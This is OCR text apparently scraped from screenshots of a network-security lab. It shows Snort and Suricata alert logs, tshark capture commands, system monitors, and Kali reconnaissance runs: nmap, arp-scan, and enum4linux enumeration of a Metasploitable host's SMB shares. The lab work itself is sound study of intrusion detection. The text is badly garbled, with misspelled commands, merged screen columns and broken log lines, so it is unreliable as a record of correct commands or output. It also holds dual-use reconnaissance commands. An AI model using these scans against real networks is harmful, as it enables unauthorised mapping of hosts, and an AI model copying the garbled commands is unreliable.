3] {TCP} 10.0.2.70:57155 -> 10.0.2.100:3211
7.878290 [**] [116:423:1] "(tcp) TCP has no SYN,
3] {TCP} 10.0.2.70:57155 -> 10.0.2.101:61532
7.878351 [**] [116:423:1] "(tcp) TCP has no SYN,
1 3] {TCP} 10.0.2.70:57155 -> 10.0.2.120:5925

7.878451 [**] [116:423:1] "(tcp) TCP has no SYN,

3] {TCP} 10.0.2.70:57155 -> 10.0.2.100:2525

7.878452 [**] [116:423:1] "(tcp) TCP has no SYN,

3] {TCP} 10.0.2.70:57153 -> 10.0.2.11:27715
10/03-15:38:47.878611 [**] [116:423:1] " (tcp) TCP has no SYN,
*] [Priority: 3] {TCP} 10.0.2.70:57153 -> 10.0.2.50:280
10/03-15:38:47.878705 [**] [116:423:1] " (tcp) TCP has no SYN,
*] [Priority: 3] {TCP} 10.0.2.70:57153 -> 10.0.2.51:50800
10/03-15:38:47.878782 [**] [116:423:1] " (tcp) TCP has no SYN,
*] [Priority: 3] {TCP} 10.0.2.70:57153 -> 10.0.2.52:8383
10/03-15:38:47.879809 [**] [116:6:1] "(ipv4) IPv4 datagram lemgth > captured
length® [+*] [Priority: 3] {eth} ->

©
I

7 5.951760675
& 6.01346605¢

s packets captured

root@suricaca:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep port 22 af

Running as user "root" and group "root”. This could be dangerous

Capturing on 'enpos3’

csnark: The file to which the capture would be saved ("PHASEl-Suricata.

root@suricata:/home/cslab/Wireshark tshark -i enp0s3 —f "not top port

nd not ipe" -w PHASEl-Suricata.pcap

Running as user "root" and group "root!

Capturing on 'enpos3’

cshark: The file to which the capture would be saved

") could not be opened: No such file or directory

root@suricata:/home/cslab/Wiresharks cd .

root@suricata:/home/cslab} cd /home/cslab/Wireshark/

root@suricata:/home/cslab/Wireshark tshark -i enp0s3 —f "not top port

nd not ipe" -w PHASEl-Suricata.pcap

and group "root”

10.0.2.112 ~ 1.0.0.1
10.0.2.101 ~ 10.0.2.255

TCP 74 [TCP Revransmission]
BROWSER 243 Host Announcement|

This could be dangerous.

BHASEL-Suricata.

Running as ussz "rooc
Capturing on *enposs’
353450 []

This could be dangerous.

rand-1ine arguments.
[root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 -f “not tep port 22 and
o ipe" -w PEASE1-Snort2.peap

> ~c

root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 —f
o ipe" -w PEASE1-Snort2.peap

Running as user "root™ and group "root!
Capturing on 'enposs’

cshark: The file to which the capture would be saved
[ould not be opened: No such file or directory.
root@snorc2:/nome/cslab/Wireshark cd ..

rootesnort2: /nome/cslabt cd /nome/cslab/Wireshark/
[root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 -f "not tep port 22 and
o ipe" -w PEASE1-Snort2.peap

Running as user "root™ and group "root!
Capturing on 'enpos3’

not top port 22 and
This could be dangerous.

"PHASE1-Snorc2.pcap”)

This could be dangerous.

[Timestamps]
[Time since first frame in this TCP stream: 8.996183209 seconds]
[Time since previous frame in this TCP stream: 0.000144880 seconds]
[SEQ/ACK analysis]
[This is an ACK to the segment in frame: 22971]
[The RTT to ACK the segment was: 0.000144880 seconds]

22972 packets captured
r00t@snort3: /home/cslab/Wiresharkf cd ..
ro0t@snort3:/home/cslab} cd /home/cslab/Wireshark/
£00t@snort3: /home/cslab/Wiresharki

c
soot@anorta: /nome/Calab/Wizesnark} tanark -i enp0s3 -T "not tep port 22 and o)
ot ip6" -4 PEASEL-Snortd.poap

Running as user "root” and group "rost". This could be dangezous.

Capturing on *enpos3’

351852

] Tasks: 52, 40 th

704/1. 9.

] Load average: 0.

] Uptim

267M 16640
2674 16640
2480 3712
7296 6912
13568 9472
18624 17472
27268 8704
7664 2976
27268 8704
27268 8702
27268 8704

T, : 1 running
00 0.03 0.0¢

/sbin/inic
/usx/1ib/syst|
/sbin/maltipal
/usx/1ib/syst|

Tasks: 52, 31 thr ;1 runnin

NI VIRT

316

5128
13232
22760

1 ees2s

=

282
282
25068

15128
s30M 198M
16508 7424
5132 2480
5716 1792
13232 7424
22064 13148

1 ees3z 12412
252y 27264

e <

Load average

Tasks: 49, 27
Load average

0.00 0.00 0.00

©hr, 7 1 runnin
0.18 0.27 0.27

Uptime: 03:02:

12672
c1ae
3712
1782

snort -c /|
sudo su
ntop

< SR 1 O

1538
A B g B
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Norking) [Running] -

Input

root@kali: fomeflali A m
File Actions Edit View Help

ALL 1000 scanned ports on 10.0.2.70 are in ignored states
Not shown: 1000 closed tcp ports (reset)

Nmap done: 128 TP addresses (14 hosts up) scanned in 51.87 seconds

No. Time
5.4007785.
5. 4174965,
8244745

“o0t ) /home/kali
# 10.0.2.0/25 10.0.2.200

Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 15:41 BST

Nmap scan report for 10.0.2.1

Host is up (0.00011s latency). B

Not shown: 999 closed tcp ports (reset) Z B, Gl

PORT  STATE SERVICE

53/tcp open|filtered domain 5309.

MAC Address: 52:5:00:12:35:00 (QEMU virtual NIC) 5309. 14731
5309, 1832619

Nmap scan report for 10.0.2.2 1837434,

Host is up (0.00026s latency). 5309. 2143651

ALl 1000 scanned ports on 10.0.2.2 are in ignored states. 5309.

Not shown: 1000 open| filtered tcp ports (no-response)
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

6201619,
Nmap scan report for 10.0.2.10 0 8479769,
Host is up (0.00050s latency). e
AUL 1000 scanned ports on 10.0.2.10 are in ignored states. Hehnted
Not shown: 1000 open| filtered tcp ports (no-response) CERARE
MAC Address: 08:00:27:97:3D:D4 (PCS Systemtechnik/Oracle VirtualBox virtu
al NIC)

» Frame 1: 74 bytes on wire (592 bits),

» Ethernet II, Src: PCSSystemtec 79:fd:c

papiocan, report for 16.9.2.51 » Internet Protocol Version 4, Src: 10.0

Host is up (0.000165 latency). k

Not shown: 983 closed tcp ports (reset)

PORT  STATE SERVICE

21/tcp  openl filtered ftp

22/tcp  openl filtered ssh o live capture in progress>

>

o] 0@ 0BG Bright cu
1542

A gy B
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1 {ICP} 10.0.2.70:58076 —> 10.0.2.11:5801
10/03/2025-14:54:56.405985 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.11:5901 -> 10.0.2.70:58076

10/03/2025-14:54:56.407208 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.70:58078 -> 10.0.2.11:5301

10/03/2025-14:54:56.407851 [**] [1:2233003:1] SURICATA RFB Unexpected State
in Parser [**] [Classification: Generic Protocol Command Decode] [Priority: 3
1 {TCP} 10.0.2.11:5901 -> 10.0.2.70:58078

10/03/2025-14:56:00.944040 [**] [1:2230002:1] SURICATA TLS invalid record ty]
pe [**] [Classification: Generic Protocol Command Decode] [Priority: 3] (ICP
10.0.2.111:21 -> 10.0.2.70:48218

10/03/2025-14:58:24.613766 [**] [1:2019102:1] ET DOS Possible SSDP Amplifical
tion Scan in Progress [**] [Classification: Attempted Denial of Service] [Bri
ority: 2] {UDP} 10.0.2.70:33374 -> 10.0.2.1:1900

10/03/2025-15:32:03.423382  [**] [1:2210054:1] SURICATA STREAM excessive retz|
ansmissions [**] [Classification: Generic Protocol Command Decode] [Priorit:
3] {TCP} 10.0.2.51:22 -> 10.0.2.120:48796

2:161
10/03-15:41:02.907660 [**] [1:1418:11] SNMMP request top [**] [Classificavion]
Atcempted Information Leak] [Priority: 2] (TCP} 10.0.2.200:37562 -> 10.0.2

s2:161

10/03-15:41:02.907736 [**] [1:1418:11] SNMMP request top [**] [Classificavion)

: Atcempted Information Leak] [Priority: 2] (TCP} 10.0.2.70:37562 > 10.0.2.1

00:161

10/03-15:41:02.907736 [**] [1:1418:11] SNMMP request top [**] [Classificavion]

: Attempted Information Leak] [Priority: 2] (TCP} 10.0.2.200:37562 —> 10.0.2

100:161

|10/03-15:41:02.907987  [**] [1:1418:11] SNMP request tcp [**] [Classification]
Atcempted Informavion Leak] [Priority: 2] (ICP} 10.0.2.70:37562 —> 10.0.2.1

20:161

10/03-15:41:02.907987 [**] [1:1418:11] SNMP request top [**] [Classificavion|

: Attempted Informavion Leak] [Priority: 2] (TCP} 10.0.2.200:37562 -> 10.0.2

120:161

0

*] [Priority: 3] {TCP} 10.0.2.200:37562 -> 10.0.2.101:1503
10/03-15:41:12.265720 [**] [116:423:1] " (tcp) TCP has no SYN, ACK, or RST" [
*] [Priority: 3] (TCP} 10.0.2.70:37562 -> 10.0.2.101:3000
10/03-15:41:12.265806 [**] [116:423:1] "(tcp) TCP has no SYN, ACK, or RST" [
*] [Priority: 3] {TCP} 10.0.2.200:37562 -> 10.0.2.101:3000
10/03-15:41:12.265913 [**] [116:423:1] " (tcp) TCP has no SYN, ACK, or RST" [
*] [Priority: 3] {TCP} 10.0.2.70:37562 -> 10.0.2.101:13456
10/03-15:41:12.265514 [**] [116:423:1] "(tcp) TCP has no SYN, ACK, or RST" [
*] [Priority: 3] {TCP} 10.0.2.200:37562 -> 10.0.2.101:13456
10/03-15:41:12.266525 [**] [116:6:1] "(ipv4) IPv4 datagram lemgth > captured
length" [**] [Priority: 3] {eth} ->

10/03-15:41:12.267020 [**] [116:6:1] "(ipv4) IPv4 datagram length > captured
length" [**] [Priority: 3] {eth} ->

10/03-15:41:12.333257 [**] [116:423:1] " (tcp) TCP has no SYN, ACK, or RST" [
*] [Priority: 3] {TCP} 10.0.2.70:37575 -> 10.0.2.51:587
10/03-15:41:12.333257 [**] [116:423:1] "(tcp) TCP has no SYN, ACK, or RST" [
*] [Priority: 3] {TCP} 10.0.2.200:37575 -> 10.0.2.51:587

©
I

7 5.951760678
s 5013166054

s packets captured

octeauzicata:/nome/cslan/Wiresnarkt tshark —i enp0s3 ~f mot Top port 22

Running as user "rost” and group "rost”. This could be dangezous.

Capturing on ‘enposs’

anark: The file to wich the caprure would be ssved ("PASEl-Suricata.pcar)

oot@auzicata:/nome/calan/Wizesnarké Cahark -1 emp0s3 <f "mot top port

o ot spe” —w PHASE1-Suricata.peap

Running as user "rost and group "rost". This could be dangezous.

Capturing on ‘enposs’

anark: The file to which the caprure would be ssved ("PHASEl-Suricata.pcar)

") could not be opened: No such file or directory.

ooteauricata:/nome/calan/Wizesnarkt od ..

octeauricata:/nome/calant ca /nome/cslab,Wizesnazk/

oot@auzicata:/nome/calan/Wiresnarké canark -1 eap0s3 ~f "mot top port

od ot spe” —w PHASE1-Suricata.peap

Running as user "rost and group "rost". This could be dangezous.

Capturing on *enposs’

557131 []

10.0.2.112 ~ 1.0.0.1 TCP 74 [TCP Revransmission]
10.0.2.101 ~ 10.0.2.255 BROWSER 243 Host Announcement|

rand-1ine arguments.
[root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 -f “not tep port 22 and
o ipe" -w PEASE1-Snort2.peap

> ~c

[root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 —f "not tep port 22 and
o ipe" -w PEASE1-Snort2.peap

Running as user "root” and group "root”. This could be dangerous

Capturing on 'enposs’

csnark: The file to wnich the capture would be saved ("PHASE1-Snort2.pcap™
[ould not be opened: No such file or directory.
root@snorc2:/nome/cslab/Wireshark cd ..

rootesnort2: /nome/cslabt cd /nome/cslab/Wireshark/

[root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 -f "not tep port 22 and
o ipe" -w PEASE1-Snort2.peap

Running as user " and group "root". This could be dangerous

[Timestamps]
[Time since first frame in this TCP stream: 8.996183209 seconds]
[Time since previous frame in this TCP stream: 0.000144880 seconds]
[SEQ/ACK analysis]
[This is an ACK to the segment in frame: 22971]
[The RTT to ACK the segment was: 0.000144880 seconds]

22972 packets captured
r00t@snort3: /home/cslab/Wiresharkf cd ..
ro0t@snort3:/home/cslab} cd /home/cslab/Wireshark/
£00t@snort3: /home/cslab/Wiresharki

c
soot@anorta: /nome/Calab/Wizesnark} tanark -i enp0s3 -T "not tep port 22 and o)
ot ip6" -4 PEASEL-Snortd.poap

Running as user "root” and group "rost". This could be dangezous.

Capturing on *enpos3’

ases76 I

LT 17081/1.5:

NI VIRT

] Tasks: 52, 40 thr ;1 running
] Load average: 0.01 0.03 0.03
] Uptim

2480 3712 7 0. -60 htop

22564 13568 9472
1 66832 13624 17472
282M 27264 8704
29068 7664 4976

/sbin/inic
/usx/1ib/syst|
/sbin/maltipal
/usx/1ib/syst|

282 27264 8704
282 27264 8704
282 27264 8704
282 27264 8704
282 27264 8704

2521
JFi1

NI VIRT

22760

1 ees2s
282
282
25068
282
282
2521

TR

NI VIRT

330
22064
. ees3z
282
25932
282
282
282
2521
T

Tasks: 52, 31 thr ;1 runnin
Load average: 0.0¢ 0.02 0.00
Uptine: 0

TIME: Command
ntop
)
17860
570¢
570¢
298¢
570¢
570¢

] Tasks: 50, 32 thr 7 1 runnin
1 Load average: 0.17 0.24 0.26
1 Uptime: 03:04:38

MEM:  TDME:

1oaM 12672 .7 10. .90

13148 436 . .56

18540 17260 .9 0:01.07

27264 5704 . .18

7552 2992 .4 0:00.13

27264 5704 .00

27264 .00

27264 99, Lsbin/malt]
; 60" 7sbin/ma1c|

o

1541
o B
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% Kali-70 (Kali

File  Machine

File Actions Edit View Help

60 bytes from 08:00:27:ch:ab:5c (10.0.2.111
60 bytes from 08:00:27:ch:ab:5c (10.0.2.111

60 bytes Fron 08:00:271cbiabise (10.0.2.111); indexcs timectonios weee 1 M @ = M Q€30 e

<Ctrl-/>

Edit View Go Capture Analyze Statistics Telephony

— 10.0.2.111 statistics — a display filtel
10 packets transmitted, 10 packets received, 0% unanswered (0 extra)
Ttt min/avg/max/std-dev = 0.184/0.221/0.280/0.029 ms

Time
933800855

©o0n 1 )-[/home/kali 0515172
# 064981391
Interface: ethd, type: EN1OMB, MAC: 08:00:27:69:b5:b6, IPv4: 10.0.2.70 2 142292855
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied 158661226

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied 665243170
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp 705819
-scan) 739058404

10.0.2.1 Tocally administered) 752637946
1000202 Tocally administered) 28. 766388443 Broads
10820 (o) 016889817 2.52 10
10.0.2111 (Unknown) 34359198 £

oo (Unknom) 041382145

10.0.2.51 (Unknown) : pasearss

T~ fitrinaund 075491515

10.0.2.101 (Unknown) 5491515

10.0.2.100 (Unknown) 095788018

1000.2.111 (Unknown) 166242386

10.0.2.112 (Unknown) 189452433

1000121120 08:00:27:0d:de:le (Unknown)

me 1: 60 bytes on wire (480 bits),
ernet IT, Src: PCSSystemtec 79:fd
ress Resolution Protocol (request)

14 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.901 seconds (134.67 hosts
/sec). 12 responded

L0001~ /home/kali

L
]
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image142.png
+0.2.70:8 > 10.0.2.120:9 Running as user "root" and group "root". This could be dangerous.
10/03/2025-15:44:47.015420 [**] [1:2200025:2] SURICATA ICMPv4 unknown code (WMcapruring on 'enpos3’ ] Tasks: 52, 40 thr 7 1 running

**] [Classification: Generic Protocol Command Decode] [Priority: 3] (1cp) 1ofllicsios ~c dem( PILETTTT17104/1.926] Load average: 0.00 0.04 0.01
£0.2.70:8 = 10.0.2.1:¢ root@suricata:/home/cslab/Wireshark tshark -i enp0s3 —f "not tcp port 22 afill WPl ] Uptime: 04:08:14
10/03/2025-15:44:47.015479  [**] [1:2200025:2] SURICATA ICMPv4 unknown code (Ml not ip6" —w PHASEL-Suricata-Mecasploit.pcap
1] [Classification: Generic Protocol Command Decode] [Priority: 3]
.0.2.70:8 —> 10.0.2.2:9
10/03/2025-15:44:47.015478  [**]

{ICMP} 10MMRunning as user "root" and group "root”. This could be dangerous.

Capturing on 'enpos3’
[1:2200025:2] SURICATA ICMEv4 unknown code [[llssss ~c

NI VIRT

x] [Classification: Generic Protocol Command Decode] [Priority: 31 (1P} 10 e :caca:/nome/cslab/Hiresharks df —n 5220 4480 o
.0.2.1:0 —> 10.0.2.70:9 S — Sine Dacd mves: Uaes Mownted on 22564 13568 9472 0.7 0:01.83 /sbin/init
10/03/2025-15:44:47.686085 [**] [1:2200025:2] SURICATA ICMPv4 unknown code ([l oo Ted 1M 1ees 1% /run 1 G683z 19136 17984 o. /usz/11b/syse)
] [Classification: Generic Protocol Command Decode] [Priority: 31 (1} 10/oC ) cans 1476 .06 1346 5% / 2824 27264 8704 1. /sbin/maltipal
.0.2.70:8 —> 10.0.2.2:9 [ cssu o sesm ot /aev/shm 29068 7664 4576 0.4 /usz/1ip/sysy
10/03/2025-15:44:48.627223  [**] [1:2200025:2] SURICATA ICMPv4 unknown code ([ uco s.M 0 s.oM 0% /ran/lock 2824 27264 8704 1.4 sbin/malcipa
x] [Classification: Generic Protocol Command Decode] [Priority: 31 (Icu) 10flCi s 197M 16K 197M 1% /run/user/1000 2824 27264 8704 1. tipa]
<0.2.70:8 => 10.0.2.2:9 zoot@suricata:/home/cslab/Wiresharkt tshark -1 enps3 -f "mot top port 22 g 2824 27264 8704 1.4 vipa|
10/03/2025-15:44:50.261760 [**] [1:2200025:2] SURICATA ICMPv4 unknown code ([0 noc ipen —w PRASELSaricata.Tests3s.4s. poap 2824 27264 8704 1. ©ipe|
%] [Classification: Generic Protocol Command Decode] [Priority: 3] (112} 10fMe nniro as uaer mroot” and group "root”. This could be dangerous. 2824 27264 1.

.0.2.70:8 —> 10.0.2.2:9 Capturing on *enpos3t 27264

0 1593 ]

61 zoot@snorc:
10/03-16:38:06.008480 [**] [1:1420:11] SNMP trap tcp [**] [Classification: Aot ipe" -w PHASEL-Snort2-Metasploit.pcap Tasks: 52, 31 thr ;1 runnin
ttempted Information Leak] [Briority: 2] (ICE} 10.0.2.70:45500 —> 10.0.2.53:1[llRunning as user "root” and group "root”. This could be dangerous. Mem[ LT 1685/ ] Load average: 0.00 0.01 0.00
62 Capturing on 'enpos3 Swpl ] Uptime: 04:08:02
10/03-16:38:06.437613 [**] [1:1418:11] SNMP request tcp [**] [Classificationfilis3s °C

Attempted Information Leak] [Priority: 2] {ICE} 10.0.2.70:45500 —> 10.0.2.c|llroot@snorc2:/home/cslab/Wiresharkf df -h

61 Size Used Avail Uses Mounted on
10/03-16:38:06.628812  [**] [1:527:8] BAD-TRAFFIC same SRC/DST [**] [Classifil 197M 1.14 19eM 1% /run
cation: Potentially Bad Traffic] [Priority: 2] (ICP} 10.0.2.70:45500 —> 10.0. 1476 5.6 1346 % /
2.70:282 s8sM 0 o8sM 0% /dev/shm

PID USER BRI NI VIRT MEME TIME+ Command

1 oot 20 22760 13692
282 root 19 1 €6960 19524 18372

|10/03-16:38:07.288928  [**] [1:1418:11] SNMP request tcp [**] [Classification] 5.04 o s.oM 0% /run/lock 330 root RT 282 27264 8704

Attempted Information Leak] [Priority: 2] {ICE} 10.0.2.70:45500 —> 10.0.2.5| 197M 16K 1974 1% /run/user/1000 326 root 20 282M 27264 704
s:161 :/home/cslab/Wiresharké tshark -i enp0s3 —f "mot tcp port 22 and 347 root 20 29068 7652 4964
10/03-16:38:07.823943 [**] [1:527:8] BAD-TRAFFIC same SRC/DST [+*] [Classifil —w PHASE1-Snort2-Tests36-49.pcap 345 root RT 282 27264 704

cation: Potentially Bad Traffic] [Priority: 2] (ICP} 10.0.2.70:45500 —> 10.0.[MlRunning as user "root” and group "root”. This could be dangerous. 2821 27264
2.70:228 Capturing on 'enpos3 27264

0 a1525 [

nort3: fhome
Priority: 3] (ARE} - 482551 ~C
10/03-16:44:22.702269 [**] :1:1] "(azp_spoof) unicast ARP request” [**]
Priority: 3] (ARP} -

10/03-16:44:23.216803 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**]
Priority: 3] (ARP} >

10/03-16:44:35.482037 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**]

root@snort3:/home/cslab/Wiresharki tshark -i enp0s3 -f "not top port 22 and nf
ot ipe" -w PHASEL-Snorc3-Metasploit.pcap

Running as user "root” and group "root”. This could be dangerous.
Capturing on 'enp0s3’

crug) ] Tasks: 43, 27 thr ;1 runnin
Mem[ i ] Load average: 0.34 0.27 0.22
swpl 1 Uptime: 04:08:17

4538 ~C
Priozity: 3] (aRP} > zoot@snort3:/home/cslab/Wiresharki df -h

10/03-16:44:35.591223 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**] Filesystem Size Used Avail Uset Mounted on PRI NI VIRT

Priority: 3] (ARE) > tupts 1o7M 1.m lsew 1% /run , 2
10/03-16:44:38.717767 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**] Jdev/sdaz lasc o.16 1336 7% / 1365 oot 20 8132 4480 0.2 1
Priority: 3] (ARP} -> tmprs Sesu 0 sesM 0% /dev/shm 1 root 20 0 22064 13148 9436 0.7 0
10/03-16:44:47.857079 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**] tupEs s.M 0 5.0M 0% /run/lock 283 root 15 eess2 1sees 17388 0.9 0:01.38
Priority: 3] (ARP} - tnpts 1974 12K 197 1% /run/user/1000 330 root RT 2821 27264 3704 1.4 0:00.17
10/03-16:44:48.217862 [**] [112:1:1] " (arp_spoof) unicast ARP request” [**] root@snort3:/home/cslab/Wiresharki tshark -i enp0s3 -f "not tcp port 22 and nf 346 root 20 28932 7552 4992 0.4 0:00.14
Priority: 3] (ARP} - ot ip" -u PHASEL-Smort3-Testa3e-48.pcap 348 root 20 2821 27264 14 0
10/03-16:44:48.217862 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**] Running as user "root™ and group "root". This could be dangerous. 350 zoot RT 282 27264 ws o
Priority: 3] (ARP} - 351 root RT 2821 27264 s

Captuzing on *enpos3’
azase I 27268
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0.2.101:62594 —> 10.0.2.1.
10/04/2025-10:55:57.518361 [**] [1:2260002:1] SURICATA Applayer Detect protoco
1 only one direction [**] [Classification: Generic Protocol Command Decode] [Pi]
iority: 3] {TCP} 10.0.2.101:62594 > 10.0.2.11:8080
10/04/2025-10:55:57.525303 [**] [1:2260000:1] SURICATA Applayer Mismatch proto]
ool both directions [**] [Classification: Generic Protocol Command Decode] [Pri
ority: 3] {ICP} 10.0.2.11:22 -> 10.0.2.101:62595
10/04/2025-10:55:57.825303  [**] [1:2228000:1] SURICATA SSH invalid bamner [**
[Classification: Generic Protocol Command Decode] [Priority: 3] (ICP} 10.0.2.
1:22 —> 10.0.2.101:62595
10/04/2025-10:55:57.832766  [**
[**] [Classification: Generic Protocol Command Decode:
0.2.101:62596 —> 10.0.2.11:8080
10/04/2025-10:55:57.832766 [**] [1:2260002:1] SURICATA Applayer Detect protoco
1 only one direction [**] [Classification: Generic Protocol Command Decode] [Pi]
iority: 3] {TCP} 10.0.2.101:62596 > 10.0.2.11:8080
[**] [1:2260000:1] SURICATA Applayer Mismatch protol
[Classification: Generic Protocol Command Decode] [Pri
(TCP} 10.0.2.11:22 -> 10.0.2.101:62597

:8080

[1:2230002:1] SURICATA TLS invalid record cypel
(Priority: 3] {TCP} 10.

10/04/2025-10:55:57.833911
col both directions [**]
ority: 3]

10/04-10:55:52.422963
cation: Misc activity]
10/04-10:55:52.437439
cation: Misc activity]
10/04-10:55:52.450521
cation: Misc activity]
10/04-10:55:52.461788
cation: Misc activity]
10/04-10:55:52.469702

1**]
(Priority: 3]
[**] [1:560:
(Priority: 3]
[**] [1:560:
(Priority: 3]
[**] [1:56¢

(Priority: 3]

[1:560:6] POLICY VNC server response
(TP} 10.0.2.1
1 POLICY VNC server response
(TP} 10.0.2.1

(**] [Classifi]
901 > 10.0.2.101:62550
[**] [Classifi]
901 > 10.0.2.101:62554

1 POLICY VNC server response [*] [Classifil
(TCP} 10.0.2.11:5901 -> 10.0.2.101:62555

1 POLICY VNC server response [*] [Classifil
(TCP} 10.0.2.11:5901 -> 10.0.2.101:62556
[**] [1:560:6] POLICY VNC server response [**] [Classifil
cation: Misc activity] [Priority: 3] {TCP} 10.0.2.11:5901 —> 10.0.2.101:62560
|10/04-10:55:57.573186  [**] [1:2114:3] RSERVICES rexec password overflow attemp)
© [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1]
TCP} 10.0.2.101:62578 -> 10.0.2.11:512

10/04-10:55:57.573196  [**] [1:2113:3] RSERVICES rexec username overflow attemp|
© [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1]
TCP} 10.0.2.101:62578 -> 10.0.2.11:512

€2517 —> 10.0.2.11:5901
unicast ARP request” [**]

P reset sent” [+*] [Priority: 3] (ICE} 10.0.2.101
10/04-10:55:50. 667948 [**] [112:1:1] "(azp_spoot)

lority: 3] (AR} >

10/04-10:55:50. 672905
ngch® [*] [Priority
10/04-10:55:51.173375
ioricy: 3] (AR} ->
10/04-10:55:51.506489
ioricy: 3] (AR} ->
10/04-10:55:52. 457612

(x|

[**] [116:6:1]
3] fetn)
[**] [12:1:1]

"(ipv4) IPvé datagram length > captured lel

" (arp_spoof) unicast ARP request” [**] [PI]

[**] [112:1:1] "(arp_spoof) unicast ARP request” [**] [Pi]
[**] [119:279:1] " (hotp_inspect) invalid status line” [*
1 [Priority: 3] (TCP} 10.0.2.101:62490 > 10.0.2.11:443

10/04-10:55:52.457612 [**] [119:201:1] " (http_inspect) not HITP traffic or unrel
coverable HTTP protocol error” [**] [Priority: 3] (ICP} 10.0.2.101:62450 > 10
0.2.11:443
10/04-10:5

ngthn [*+]

:53.052320 [**] [116:
[Priority: 3] {ech} ->
10/04-10:55:55.639360 [**] [116:58:1] " (ccp) experimental ICP options found"
*] (Priority: 3] {TCP} 10.0.2.112:39868 —> 1.0.0.1:53

10/04-10:55:55.738355 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**
iority: 3] (ARE} ->

mE R e s s

1 "(ipv4) IPvé datagram length > capured lel

e

(x|

I

el

The list of available updates is more than a week old
To check for new updates run: sudo apt update

Failed to comnect to https://changelogs.ubuntu.com/meta-release-lts.
Check your Internet connection or proxy settings

Last login: Sat Oct 4 09:2.
cslab@suricata:~$ sudo su
(sudo] password for cslab:
root@suricata:/home/cslab} cd /home/cslab/Wireshark/
root@suricata:/home/cslab/Wiresharks 1s
PHASE1-Suricata-Metasploit.pcap PHASEl-Suricata-Tests36-49.pcap
PHASEl-Suricata.pcap

root@suricata:/home/cslab/Wireshark tshark -i enp0s3 -
© 22 and not ip6" -w PHASEl-Suricaca-Testss0-75.pcap
Running as user "root" and group "root”. This could be dangerous
Capturing on 'enpos3’

6 2025 from 10.0.2.120

ot top por|

sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts.
your Internet connection or proxy settings

Check}

Last login: Fri Oct 3 12:48:09 2025 from 10.0.2.120
cslab@snort2:~$ sudo su

(sudo] password for cslab:

root@snort2:/home/cslab} cd /home/cslab/Wireshark/
root@snort2:/home/cslab/Wiresharks 1s
PHASE1-Snort2-Metasploit.pcap PHASE1-Snort2-Tests3s-49.pcap
BHASE1-Snort2.pcap

root@snort2:/home/cslab/Wiresharki tshark -i enp0s3 —f
d not ip6" -w PHASE1-Snort2-TestsS0-75.pcap

Running as user "root” and group "root”. This could be dangerous
Capturing on 'enpos3’

not top port 22 an|

Y s nccps://ubuntu.con/esn or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts.
your Internet connection or proxy settings

Last login: Fri Oct 3 12:50:0% 2025 from 10.0.2.120
Calab@anortai-s suds =
[sudo] password for cslab:
zoot@anorca:/nome/calabf cd /home/calab/Wizesnazk/
zoot@anorta: /nome/ calab/Wizenarkt 1s
PAASEL-Snort3-Metasploit.poap PRASEL-Snorti-Tests3o-49.pcap
PEASEL_Snort3.poap
zoot@ancrta: /nome/ cslab/Wizesnark} tshark -3 enp0s3 —f "mot Top port 22 a)
4 not $pe" —w PRASE1-Snort3-Testss0-7.pcap
Running as user "rost" and group "rost*. This could be dangezous.
Captuzing on *enposs’
. e
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File Actions Edit View Help © Go Capture Analyze Statistics Telephony Wi
) /home/kald ) RERM@ 2 ¢ > 0 ¢ >

' enum4linux -alAo 10.0.2.111

Starting enumélinux v0.9.1 ( http://labs.portcullis.co.uk/application/enunalin (filter... <Ctrl/>
ix/ ) on Sat Oct 4 13:45:01 2025

Destination
p48198540 2.12 10.0.2
p78099875 2 2
978278943

rarget .. . 10.0.2.111 358378
RID Range .. . 500-550,1000-1050 jp68s717
Jsername o
password ......... "
nown Usernames .. administrator, guest, krbtgt, domain admins, root, bin, non
poss73158
09499977
[+]
ba267740
© bytes on wire (1200 bits
Looking up status of 10.0.2.111 , Src: PCSSystemtec 47:ef 00 88

METASPLOITABLE  <00> - B <ACTIVE> Workstation Service btocol Version 4, Src: 10 02 78
METASPLOITABLE <03> - B <ACTIVE> Messenger Service B et ot G Gol
METASPLOITABLE <20> - B <ACTIVE> File Server Service 1

__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name

/e capture in progress>

>
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root@kali: omeflali

File Actions Edit View Help © Go Capture Analyze Statistics Telephony Wi
) RERBE 2 ¢ > 0« >

filter ... <Ctrl-
Sharename Type Comment Destination

print$ Disk Printer Drivers 10.0.2
tmp Disk oh noes!
opt Disk
TPCs 1PC IPC Service (metasploitable server (Samba 3.
».20-Debian))
ADNINS 1PC IPC Service (metasploitable server (Samba 3.

).20-Debian))
Reconnecting with SMB1 for workgroup listing.

Server Comment

Workgroup Master

ITSECGANES BEE-BOX 45526635

WORKGROUP METASPLOITABLE 49407489
¥ 86285150

86285365

//10.0.2.111/print$ apping: DENIED Listing: N/A Writing: N/A
testing write access tmp © bytes on wire (1200 bits 08 00
